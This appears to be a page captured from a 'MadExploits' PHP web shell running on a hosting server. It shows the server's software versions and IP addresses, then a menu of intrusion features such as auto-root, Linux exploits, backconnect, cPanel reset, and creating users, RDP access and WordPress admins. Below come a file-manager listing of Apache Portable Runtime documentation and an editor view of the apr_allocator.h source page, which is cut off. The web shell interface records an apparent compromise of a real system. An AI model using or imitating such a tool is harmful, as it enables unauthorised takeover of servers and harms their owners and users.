Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
apr-devel-1.6.2 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
search
[ DIR ]
drwxr-xr-x
annotated.html
10.39
KB
-rw-r--r--
apr_8h.html
67.47
KB
-rw-r--r--
apr_8h_source.html
104.97
KB
-rw-r--r--
apr__allocator_8h.html
15.51
KB
-rw-r--r--
apr__allocator_8h_source.html
43.65
KB
-rw-r--r--
apr__atomic_8h.html
10.77
KB
-rw-r--r--
apr__atomic_8h_source.html
31.57
KB
-rw-r--r--
apr__cstr_8h.html
13.38
KB
-rw-r--r--
apr__cstr_8h_source.html
59.29
KB
-rw-r--r--
apr__dso_8h.html
9.62
KB
-rw-r--r--
apr__dso_8h_source.html
23.62
KB
-rw-r--r--
apr__env_8h.html
7.77
KB
-rw-r--r--
apr__env_8h_source.html
18.3
KB
-rw-r--r--
apr__errno_8h.html
91.9
KB
-rw-r--r--
apr__errno_8h_source.html
245.56
KB
-rw-r--r--
apr__escape_8h.html
19.73
KB
-rw-r--r--
apr__escape_8h_source.html
84.97
KB
-rw-r--r--
apr__escape__test__char_8h_sou...
9.54
KB
-rw-r--r--
apr__file__info_8h.html
44.72
KB
-rw-r--r--
apr__file__info_8h_source.html
109.17
KB
-rw-r--r--
apr__file__io_8h.html
66.41
KB
-rw-r--r--
apr__file__io_8h_source.html
210.29
KB
-rw-r--r--
apr__fnmatch_8h.html
9.78
KB
-rw-r--r--
apr__fnmatch_8h_source.html
32.69
KB
-rw-r--r--
apr__general_8h.html
12.88
KB
-rw-r--r--
apr__general_8h_source.html
47.17
KB
-rw-r--r--
apr__getopt_8h.html
10.13
KB
-rw-r--r--
apr__getopt_8h_source.html
42.44
KB
-rw-r--r--
apr__global__mutex_8h.html
13.54
KB
-rw-r--r--
apr__global__mutex_8h_source.h...
41.93
KB
-rw-r--r--
apr__hash_8h.html
18.87
KB
-rw-r--r--
apr__hash_8h_source.html
61.12
KB
-rw-r--r--
apr__inherit_8h.html
10.49
KB
-rw-r--r--
apr__inherit_8h_source.html
13.46
KB
-rw-r--r--
apr__lib_8h.html
15.84
KB
-rw-r--r--
apr__lib_8h_source.html
47.76
KB
-rw-r--r--
apr__mmap_8h.html
12.37
KB
-rw-r--r--
apr__mmap_8h_source.html
38.35
KB
-rw-r--r--
apr__network__io_8h.html
53.78
KB
-rw-r--r--
apr__network__io_8h_source.htm...
197.97
KB
-rw-r--r--
apr__perms__set_8h.html
8.35
KB
-rw-r--r--
apr__perms__set_8h_source.html
17.88
KB
-rw-r--r--
apr__poll_8h.html
26.86
KB
-rw-r--r--
apr__poll_8h_source.html
103.48
KB
-rw-r--r--
apr__pools_8h.html
33.73
KB
-rw-r--r--
apr__pools_8h_source.html
155.74
KB
-rw-r--r--
apr__portable_8h.html
35.47
KB
-rw-r--r--
apr__portable_8h_source.html
130.87
KB
-rw-r--r--
apr__proc__mutex_8h.html
15.72
KB
-rw-r--r--
apr__proc__mutex_8h_source.htm...
45.04
KB
-rw-r--r--
apr__random_8h.html
14.78
KB
-rw-r--r--
apr__random_8h_source.html
35.38
KB
-rw-r--r--
apr__ring_8h.html
18.56
KB
-rw-r--r--
apr__ring_8h_source.html
86.27
KB
-rw-r--r--
apr__shm_8h.html
14.65
KB
-rw-r--r--
apr__shm_8h_source.html
49.04
KB
-rw-r--r--
apr__signal_8h.html
9.03
KB
-rw-r--r--
apr__signal_8h_source.html
25.44
KB
-rw-r--r--
apr__skiplist_8h.html
27.09
KB
-rw-r--r--
apr__skiplist_8h_source.html
86.24
KB
-rw-r--r--
apr__strings_8h.html
16.97
KB
-rw-r--r--
apr__strings_8h_source.html
76.93
KB
-rw-r--r--
apr__support_8h.html
6.8
KB
-rw-r--r--
apr__support_8h_source.html
15.74
KB
-rw-r--r--
apr__tables_8h.html
27.8
KB
-rw-r--r--
apr__tables_8h_source.html
106.98
KB
-rw-r--r--
apr__thread__cond_8h.html
11.62
KB
-rw-r--r--
apr__thread__cond_8h_source.ht...
34.18
KB
-rw-r--r--
apr__thread__mutex_8h.html
11.94
KB
-rw-r--r--
apr__thread__mutex_8h_source.h...
28
KB
-rw-r--r--
apr__thread__proc_8h.html
58.08
KB
-rw-r--r--
apr__thread__proc_8h_source.ht...
193.39
KB
-rw-r--r--
apr__thread__rwlock_8h.html
11.75
KB
-rw-r--r--
apr__thread__rwlock_8h_source....
31.75
KB
-rw-r--r--
apr__time_8h.html
21.87
KB
-rw-r--r--
apr__time_8h_source.html
56.45
KB
-rw-r--r--
apr__user_8h.html
12.61
KB
-rw-r--r--
apr__user_8h_source.html
36.29
KB
-rw-r--r--
apr__version_8h.html
24.02
KB
-rw-r--r--
apr__version_8h_source.html
34.22
KB
-rw-r--r--
apr__want_8h.html
6.36
KB
-rw-r--r--
apr__want_8h_source.html
23
KB
-rw-r--r--
bc_s.png
676
B
-rw-r--r--
bdwn.png
147
B
-rw-r--r--
bug.html
9.25
KB
-rw-r--r--
classes.html
8.08
KB
-rw-r--r--
closed.png
132
B
-rw-r--r--
deprecated.html
11.51
KB
-rw-r--r--
dir_47ab2aa5b94fb8f65103c173b2...
5.55
KB
-rw-r--r--
dir_4bd6cd521a56a9f4d924ab2d33...
5.61
KB
-rw-r--r--
dir_a4fd7f16abbe32b73833244217...
5.52
KB
-rw-r--r--
dir_d44c64559bbebec7f509842c48...
24.09
KB
-rw-r--r--
doxygen.css
23.29
KB
-rw-r--r--
doxygen.png
3.69
KB
-rw-r--r--
dynsections.js
2.91
KB
-rw-r--r--
files.html
18.53
KB
-rw-r--r--
ftv2blank.png
86
B
-rw-r--r--
ftv2cl.png
453
B
-rw-r--r--
ftv2doc.png
746
B
-rw-r--r--
ftv2folderclosed.png
616
B
-rw-r--r--
ftv2folderopen.png
597
B
-rw-r--r--
ftv2lastnode.png
86
B
-rw-r--r--
ftv2link.png
746
B
-rw-r--r--
ftv2mlastnode.png
246
B
-rw-r--r--
ftv2mnode.png
246
B
-rw-r--r--
ftv2mo.png
403
B
-rw-r--r--
ftv2node.png
86
B
-rw-r--r--
ftv2ns.png
388
B
-rw-r--r--
ftv2plastnode.png
229
B
-rw-r--r--
ftv2pnode.png
229
B
-rw-r--r--
ftv2splitbar.png
314
B
-rw-r--r--
ftv2vertline.png
86
B
-rw-r--r--
functions.html
20.74
KB
-rw-r--r--
functions_func.html
5.54
KB
-rw-r--r--
functions_vars.html
20.5
KB
-rw-r--r--
globals.html
151.85
KB
-rw-r--r--
globals_0x68.html
6.1
KB
-rw-r--r--
globals_defs.html
63.58
KB
-rw-r--r--
globals_defs_0x68.html
5.97
KB
-rw-r--r--
globals_enum.html
6.87
KB
-rw-r--r--
globals_eval.html
13.12
KB
-rw-r--r--
globals_func.html
75.26
KB
-rw-r--r--
globals_type.html
15.52
KB
-rw-r--r--
globals_vars.html
5.81
KB
-rw-r--r--
group___a_p_r.html
15.92
KB
-rw-r--r--
group___a_p_r___e_r_r_o_r__map...
5.87
KB
-rw-r--r--
group___a_p_r___error.html
87.84
KB
-rw-r--r--
group___a_p_r___global_mutex.h...
25.64
KB
-rw-r--r--
group___a_p_r___o_c.html
9.98
KB
-rw-r--r--
group___a_p_r___s_t_a_t_u_s___...
92.26
KB
-rw-r--r--
group___a_p_r___strings___snpr...
10.31
KB
-rw-r--r--
group___a_p_r___util___escapin...
64.2
KB
-rw-r--r--
group___i_p___proto.html
7.51
KB
-rw-r--r--
group___pool_cleanup.html
20.99
KB
-rw-r--r--
group___pool_debug.html
13.43
KB
-rw-r--r--
group__apr__allocator.html
26.47
KB
-rw-r--r--
group__apr__atomic.html
21.28
KB
-rw-r--r--
group__apr__cstr.html
34.38
KB
-rw-r--r--
group__apr__ctype.html
18.55
KB
-rw-r--r--
group__apr__dir.html
13.04
KB
-rw-r--r--
group__apr__dso.html
15.21
KB
-rw-r--r--
group__apr__env.html
11.25
KB
-rw-r--r--
group__apr__errno.html
35.19
KB
-rw-r--r--
group__apr__file__attrs__set__...
7.6
KB
-rw-r--r--
group__apr__file__info.html
14
KB
-rw-r--r--
group__apr__file__io.html
153.63
KB
-rw-r--r--
group__apr__file__lock__types....
8.56
KB
-rw-r--r--
group__apr__file__open__flags....
36.62
KB
-rw-r--r--
group__apr__file__permissions....
32.42
KB
-rw-r--r--
group__apr__file__seek__flags....
7.5
KB
-rw-r--r--
group__apr__file__stat.html
27.14
KB
-rw-r--r--
group__apr__file__writev.html
6.11
KB
-rw-r--r--
group__apr__filepath.html
31.09
KB
-rw-r--r--
group__apr__fnmatch.html
16.85
KB
-rw-r--r--
group__apr__general.html
14.97
KB
-rw-r--r--
group__apr__getopt.html
18.95
KB
-rw-r--r--
group__apr__hash.html
47.1
KB
-rw-r--r--
group__apr__lib.html
18.73
KB
-rw-r--r--
group__apr__library.html
11.81
KB
-rw-r--r--
group__apr__mcast.html
16.63
KB
-rw-r--r--
group__apr__mmap.html
20.44
KB
-rw-r--r--
group__apr__network__io.html
119.24
KB
-rw-r--r--
group__apr__os__dso.html
9.76
KB
-rw-r--r--
group__apr__os__thread.html
17.1
KB
-rw-r--r--
group__apr__perms__set.html
11.33
KB
-rw-r--r--
group__apr__platform.html
71.68
KB
-rw-r--r--
group__apr__poll.html
64.65
KB
-rw-r--r--
group__apr__pools.html
75
KB
-rw-r--r--
group__apr__portabile.html
68.28
KB
-rw-r--r--
group__apr__proc__mutex.html
30.89
KB
-rw-r--r--
group__apr__random.html
28.05
KB
-rw-r--r--
group__apr__ring.html
81.88
KB
-rw-r--r--
group__apr__shm.html
33.96
KB
-rw-r--r--
group__apr__signal.html
12.75
KB
-rw-r--r--
group__apr__skiplist.html
72.52
KB
-rw-r--r--
group__apr__sockopt.html
18.61
KB
-rw-r--r--
group__apr__strings.html
47.11
KB
-rw-r--r--
group__apr__support.html
7.74
KB
-rw-r--r--
group__apr__tables.html
78.7
KB
-rw-r--r--
group__apr__thread__cond.html
21.02
KB
-rw-r--r--
group__apr__thread__mutex.html
19.5
KB
-rw-r--r--
group__apr__thread__proc.html
152.06
KB
-rw-r--r--
group__apr__thread__rwlock.htm...
20.79
KB
-rw-r--r--
group__apr__time.html
45.58
KB
-rw-r--r--
group__apr__user.html
25.95
KB
-rw-r--r--
group__pollflags.html
8.67
KB
-rw-r--r--
group__pollopts.html
9.6
KB
-rw-r--r--
index.html
4.91
KB
-rw-r--r--
jquery.js
102.24
KB
-rw-r--r--
modules.html
24.46
KB
-rw-r--r--
nav_f.png
153
B
-rw-r--r--
nav_g.png
108
B
-rw-r--r--
nav_h.png
98
B
-rw-r--r--
open.png
123
B
-rw-r--r--
pages.html
5.44
KB
-rw-r--r--
sha2_8h_source.html
14.99
KB
-rw-r--r--
struct___s_h_a256___c_t_x.html
6.69
KB
-rw-r--r--
structapr__array__header__t.ht...
9.69
KB
-rw-r--r--
structapr__crypto__hash__t.htm...
7.51
KB
-rw-r--r--
structapr__finfo__t.html
19.84
KB
-rw-r--r--
structapr__getopt__option__t.h...
8.91
KB
-rw-r--r--
structapr__getopt__t.html
14.62
KB
-rw-r--r--
structapr__hdtr__t.html
8.85
KB
-rw-r--r--
structapr__memnode__t.html
11.06
KB
-rw-r--r--
structapr__mmap__t.html
9.86
KB
-rw-r--r--
structapr__os__proc__mutex__t....
8.97
KB
-rw-r--r--
structapr__os__sock__info__t.h...
10.52
KB
-rw-r--r--
structapr__pollfd__t.html
10.58
KB
-rw-r--r--
structapr__proc__t.html
11.36
KB
-rw-r--r--
structapr__sockaddr__t.html
17.18
KB
-rw-r--r--
structapr__table__entry__t.htm...
8.16
KB
-rw-r--r--
structapr__time__exp__t.html
13.73
KB
-rw-r--r--
structapr__version__t.html
8.61
KB
-rw-r--r--
structapr__vformatter__buff__t...
7.43
KB
-rw-r--r--
sync_off.png
853
B
-rw-r--r--
sync_on.png
845
B
-rw-r--r--
tab_a.png
142
B
-rw-r--r--
tab_b.png
169
B
-rw-r--r--
tab_h.png
177
B
-rw-r--r--
tab_s.png
184
B
-rw-r--r--
tabs.css
1.14
KB
-rw-r--r--
unionapr__descriptor.html
7.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apr__allocator_8h_source.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.5"/> <title>Apache Portable Runtime: apr_allocator.h Source File</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">Apache Portable Runtime </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.5 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="annotated.html"><span>Data Structures</span></a></li> <li class="current"><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="files.html"><span>File List</span></a></li> <li><a href="globals.html"><span>Globals</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Macros</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark"> </span>Groups</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(10)"><span class="SelectionMark"> </span>Pages</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="dir_d44c64559bbebec7f509842c48db8b23.html">include</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="headertitle"> <div class="title">apr_allocator.h</div> </div> </div><!--header--> <div class="contents"> <a href="apr__allocator_8h.html">Go to the documentation of this file.</a><div class="fragment"><div class="line"><a name="l00001"></a><span class="lineno"> 1</span> <span class="comment">/* Licensed to the Apache Software Foundation (ASF) under one or more</span></div> <div class="line"><a name="l00002"></a><span class="lineno"> 2</span> <span class="comment"> * contributor license agreements. See the NOTICE file distributed with</span></div> <div class="line"><a name="l00003"></a><span class="lineno"> 3</span> <span class="comment"> * this work for additional information regarding copyright ownership.</span></div> <div class="line"><a name="l00004"></a><span class="lineno"> 4</span> <span class="comment"> * The ASF licenses this file to You under the Apache License, Version 2.0</span></div> <div class="line"><a name="l00005"></a><span class="lineno"> 5</span> <span class="comment"> * (the "License"); you may not use this file except in compliance with</span></div> <div class="line"><a name="l00006"></a><span class="lineno"> 6</span> <span class="comment"> * the License. You may obtain a copy of the License at</span></div> <div class="line"><a name="l00007"></a><span class="lineno"> 7</span> <span class="comment"> *</span></div> <div class="line"><a name="l00008"></a><span class="lineno"> 8</span> <span class="comment"> * http://www.apache.org/licenses/LICENSE-2.0</span></div> <div class="line"><a name="l00009"></a><span class="lineno"> 9</span> <span class="comment"> *</span></div> <div class="line"><a name="l00010"></a><span class="lineno"> 10</span> <span class="comment"> * Unless required by applicable law or agreed to in writing, software</span></div> <div class="line"><a name="l00011"></a><span class="lineno"> 11</span> <span class="comment"> * distributed under the License is distributed on an "AS IS" BASIS,</span></div> <div class="line"><a name="l00012"></a><span class="lineno"> 12</span> <span class="comment"> * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.</span></div> <div class="line"><a name="l00013"></a><span class="lineno"> 13</span> <span class="comment"> * See the License for the specific language governing permissions and</span></div> <div class="line"><a name="l00014"></a><span class="lineno"> 14</span> <span class="comment"> * limitations under the License.</span></div> <div class="line"><a name="l00015"></a><span class="lineno"> 15</span> <span class="comment"> */</span></div> <div class="line"><a name="l00016"></a><span class="lineno"> 16</span> </div> <div class="line"><a name="l00017"></a><span class="lineno"> 17</span> <span class="preprocessor">#ifndef APR_ALLOCATOR_H</span></div> <div class="line"><a name="l00018"></a><span class="lineno"> 18</span> <span class="preprocessor"></span><span class="preprocessor">#define APR_ALLOCATOR_H</span></div> <div class="line"><a name="l00019"></a><span class="lineno"> 19</span> <span class="preprocessor"></span><span class="comment"></span></div> <div class="line"><a name="l00020"></a><span class="lineno"> 20</span> <span class="comment">/**</span></div> <div class="line"><a name="l00021"></a><span class="lineno"> 21</span> <span class="comment"> * @file apr_allocator.h</span></div> <div class="line"><a name="l00022"></a><span class="lineno"> 22</span> <span class="comment"> * @brief APR Internal Memory Allocation</span></div> <div class="line"><a name="l00023"></a><span class="lineno"> 23</span> <span class="comment"> */</span></div> <div class="line"><a name="l00024"></a><span class="lineno"> 24</span> </div> <div class="line"><a name="l00025"></a><span class="lineno"> 25</span> <span class="preprocessor">#include "<a class="code" href="apr_8h.html">apr.h</a>"</span></div> <div class="line"><a name="l00026"></a><span class="lineno"> 26</span> <span class="preprocessor">#include "<a class="code" href="apr__errno_8h.html">apr_errno.h</a>"</span></div> <div class="line"><a name="l00027"></a><span class="lineno"><a class="line" href="apr__allocator_8h.html#a26faf43e3f61783d8b7aa928c0a41a11"> 27</a></span> <span class="preprocessor">#define APR_WANT_MEMFUNC </span><span class="comment">/**< For no good reason? */</span><span class="preprocessor"></span></div> <div class="line"><a name="l00028"></a><span class="lineno"> 28</span> <span class="preprocessor"></span><span class="preprocessor">#include "<a class="code" href="apr__want_8h.html">apr_want.h</a>"</span></div> <div class="line"><a name="l00029"></a><span class="lineno"> 29</span> </div> <div class="line"><a name="l00030"></a><span class="lineno"> 30</span> <span class="preprocessor">#ifdef __cplusplus</span></div> <div class="line"><a name="l00031"></a><span class="lineno"> 31</span> <span class="preprocessor"></span><span class="keyword">extern</span> <span class="stringliteral">"C"</span> {</div> <div class="line"><a name="l00032"></a><span class="lineno"> 32</span> <span class="preprocessor">#endif</span></div> <div class="line"><a name="l00033"></a><span class="lineno"> 33</span> <span class="preprocessor"></span><span class="comment"></span></div> <div class="line"><a name="l00034"></a><span class="lineno"> 34</span> <span class="comment">/**</span></div> <div class="line"><a name="l00035"></a><span class="lineno"> 35</span> <span class="comment"> * @defgroup apr_allocator Internal Memory Allocation</span></div> <div class="line"><a name="l00036"></a><span class="lineno"> 36</span> <span class="comment"> * @ingroup APR </span></div> <div class="line"><a name="l00037"></a><span class="lineno"> 37</span> <span class="comment"> * @{</span></div> <div class="line"><a name="l00038"></a><span class="lineno"> 38</span> <span class="comment"> */</span></div> <div class="line"><a name="l00039"></a><span class="lineno"> 39</span> <span class="comment"></span></div> <div class="line"><a name="l00040"></a><span class="lineno"> 40</span> <span class="comment">/** the allocator structure */</span></div> <div class="line"><a name="l00041"></a><span class="lineno"><a class="line" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b"> 41</a></span> <span class="keyword">typedef</span> <span class="keyword">struct </span><a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> <a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a>;<span class="comment"></span></div> <div class="line"><a name="l00042"></a><span class="lineno"> 42</span> <span class="comment">/** the structure which holds information about the allocation */</span></div> <div class="line"><a name="l00043"></a><span class="lineno"><a class="line" href="group__apr__allocator.html#ga3b6437036dfcdffbf87ad4677c818211"> 43</a></span> <span class="keyword">typedef</span> <span class="keyword">struct </span><a class="code" href="structapr__memnode__t.html">apr_memnode_t</a> <a class="code" href="structapr__memnode__t.html">apr_memnode_t</a>;</div> <div class="line"><a name="l00044"></a><span class="lineno"> 44</span> <span class="comment"></span></div> <div class="line"><a name="l00045"></a><span class="lineno"> 45</span> <span class="comment">/** basic memory node structure</span></div> <div class="line"><a name="l00046"></a><span class="lineno"> 46</span> <span class="comment"> * @note The next, ref and first_avail fields are available for use by the</span></div> <div class="line"><a name="l00047"></a><span class="lineno"> 47</span> <span class="comment"> * caller of apr_allocator_alloc(), the remaining fields are read-only.</span></div> <div class="line"><a name="l00048"></a><span class="lineno"> 48</span> <span class="comment"> * The next field has to be used with caution and sensibly set when the</span></div> <div class="line"><a name="l00049"></a><span class="lineno"> 49</span> <span class="comment"> * memnode is passed back to apr_allocator_free(). See apr_allocator_free()</span></div> <div class="line"><a name="l00050"></a><span class="lineno"> 50</span> <span class="comment"> * for details. </span></div> <div class="line"><a name="l00051"></a><span class="lineno"> 51</span> <span class="comment"> * The ref and first_avail fields will be properly restored by</span></div> <div class="line"><a name="l00052"></a><span class="lineno"> 52</span> <span class="comment"> * apr_allocator_free().</span></div> <div class="line"><a name="l00053"></a><span class="lineno"> 53</span> <span class="comment"> */</span></div> <div class="line"><a name="l00054"></a><span class="lineno"><a class="line" href="structapr__memnode__t.html"> 54</a></span> <span class="keyword">struct </span><a class="code" href="structapr__memnode__t.html">apr_memnode_t</a> {</div> <div class="line"><a name="l00055"></a><span class="lineno"><a class="line" href="structapr__memnode__t.html#a07dd84ca152164d6bc283dbce99f8f78"> 55</a></span>  <a class="code" href="structapr__memnode__t.html">apr_memnode_t</a> *<a class="code" href="structapr__memnode__t.html#a07dd84ca152164d6bc283dbce99f8f78">next</a>; <span class="comment">/**< next memnode */</span></div> <div class="line"><a name="l00056"></a><span class="lineno"><a class="line" href="structapr__memnode__t.html#ac68a939c0c3d48498ec0c0fde409c502"> 56</a></span>  <a class="code" href="structapr__memnode__t.html">apr_memnode_t</a> **<a class="code" href="structapr__memnode__t.html#ac68a939c0c3d48498ec0c0fde409c502">ref</a>; <span class="comment">/**< reference to self */</span></div> <div class="line"><a name="l00057"></a><span class="lineno"><a class="line" href="structapr__memnode__t.html#a6188325f9e1cbcafcb0a65b7e41881a1"> 57</a></span>  apr_uint32_t <a class="code" href="structapr__memnode__t.html#a6188325f9e1cbcafcb0a65b7e41881a1">index</a>; <span class="comment">/**< size */</span></div> <div class="line"><a name="l00058"></a><span class="lineno"><a class="line" href="structapr__memnode__t.html#af63769f30f6eb9d72e4b24050bd7a9d9"> 58</a></span>  apr_uint32_t <a class="code" href="structapr__memnode__t.html#af63769f30f6eb9d72e4b24050bd7a9d9">free_index</a>; <span class="comment">/**< how much free */</span></div> <div class="line"><a name="l00059"></a><span class="lineno"><a class="line" href="structapr__memnode__t.html#a863e7980225e46678881271c4c803e4c"> 59</a></span>  <span class="keywordtype">char</span> *<a class="code" href="structapr__memnode__t.html#a863e7980225e46678881271c4c803e4c">first_avail</a>; <span class="comment">/**< pointer to first free memory */</span></div> <div class="line"><a name="l00060"></a><span class="lineno"><a class="line" href="structapr__memnode__t.html#a35c9bf71f1cc680929f857176b547a05"> 60</a></span>  <span class="keywordtype">char</span> *<a class="code" href="structapr__memnode__t.html#a35c9bf71f1cc680929f857176b547a05">endp</a>; <span class="comment">/**< pointer to end of free memory */</span></div> <div class="line"><a name="l00061"></a><span class="lineno"> 61</span> };</div> <div class="line"><a name="l00062"></a><span class="lineno"> 62</span> <span class="comment"></span></div> <div class="line"><a name="l00063"></a><span class="lineno"> 63</span> <span class="comment">/** The base size of a memory node - aligned. */</span></div> <div class="line"><a name="l00064"></a><span class="lineno"><a class="line" href="group__apr__allocator.html#gaf382851817012929f4e2458b43f4482c"> 64</a></span> <span class="preprocessor">#define APR_MEMNODE_T_SIZE APR_ALIGN_DEFAULT(sizeof(apr_memnode_t))</span></div> <div class="line"><a name="l00065"></a><span class="lineno"> 65</span> <span class="preprocessor"></span><span class="comment"></span></div> <div class="line"><a name="l00066"></a><span class="lineno"> 66</span> <span class="comment">/** Symbolic constants */</span></div> <div class="line"><a name="l00067"></a><span class="lineno"><a class="line" href="group__apr__allocator.html#ga54f32b19d8dad59bc6364a7a6b8ebec9"> 67</a></span> <span class="preprocessor">#define APR_ALLOCATOR_MAX_FREE_UNLIMITED 0</span></div> <div class="line"><a name="l00068"></a><span class="lineno"> 68</span> <span class="preprocessor"></span><span class="comment"></span></div> <div class="line"><a name="l00069"></a><span class="lineno"> 69</span> <span class="comment">/**</span></div> <div class="line"><a name="l00070"></a><span class="lineno"> 70</span> <span class="comment"> * Create a new allocator</span></div> <div class="line"><a name="l00071"></a><span class="lineno"> 71</span> <span class="comment"> * @param allocator The allocator we have just created.</span></div> <div class="line"><a name="l00072"></a><span class="lineno"> 72</span> <span class="comment"> *</span></div> <div class="line"><a name="l00073"></a><span class="lineno"> 73</span> <span class="comment"> */</span></div> <div class="line"><a name="l00074"></a><span class="lineno"> 74</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<a class="code" href="group__apr__errno.html#gaf76ee4543247e9fb3f3546203e590a6c">apr_status_t</a>) <a class="code" href="group__apr__allocator.html#gaf834f409a34b7f8656c045cff02fd953">apr_allocator_create</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> **allocator)</div> <div class="line"><a name="l00075"></a><span class="lineno"> 75</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00076"></a><span class="lineno"> 76</span> <span class="comment"></span></div> <div class="line"><a name="l00077"></a><span class="lineno"> 77</span> <span class="comment">/**</span></div> <div class="line"><a name="l00078"></a><span class="lineno"> 78</span> <span class="comment"> * Destroy an allocator</span></div> <div class="line"><a name="l00079"></a><span class="lineno"> 79</span> <span class="comment"> * @param allocator The allocator to be destroyed</span></div> <div class="line"><a name="l00080"></a><span class="lineno"> 80</span> <span class="comment"> * @remark Any memnodes not given back to the allocator prior to destroying</span></div> <div class="line"><a name="l00081"></a><span class="lineno"> 81</span> <span class="comment"> * will _not_ be free()d.</span></div> <div class="line"><a name="l00082"></a><span class="lineno"> 82</span> <span class="comment"> */</span></div> <div class="line"><a name="l00083"></a><span class="lineno"> 83</span> <a class="code" href="group__apr__platform.html#gad7b91b811a172bfa802603c2fb688f98">APR_DECLARE</a>(<span class="keywordtype">void</span>) <a class="code" href="group__apr__allocator.html#ga704529f6b26279ad1c48d5e8372d859c">apr_allocator_destroy</a>(<a class="code" href="group__apr__allocator.html#ga1ceabfd30fcfc455e47d052d2a24244b">apr_allocator_t</a> *allocator)</div> <div class="line"><a name="l00084"></a><span class="lineno"> 84</span>  __attribute__((nonnull(1)));</div> <div class="line"><a name="l00085"></a><span class="lineno"> 85</span> <span class="comment"></span></div> <div class="line"><a name="l00086"></a><span class="lineno"> 86</span> <span class="comment">/**</span></div> <div class="line"><a name="l00087"></a><span class="lineno"> 87</span> <span class="comment"> * Allocate a block of mem from the allocator</span></div> <div class="line"><a name="l00088"></a><span class="lineno"> 88</span> <span class="comment"> * @param allocator The allocator to allocate from</span></div> <div class="line"><a name="l00089"></a><span 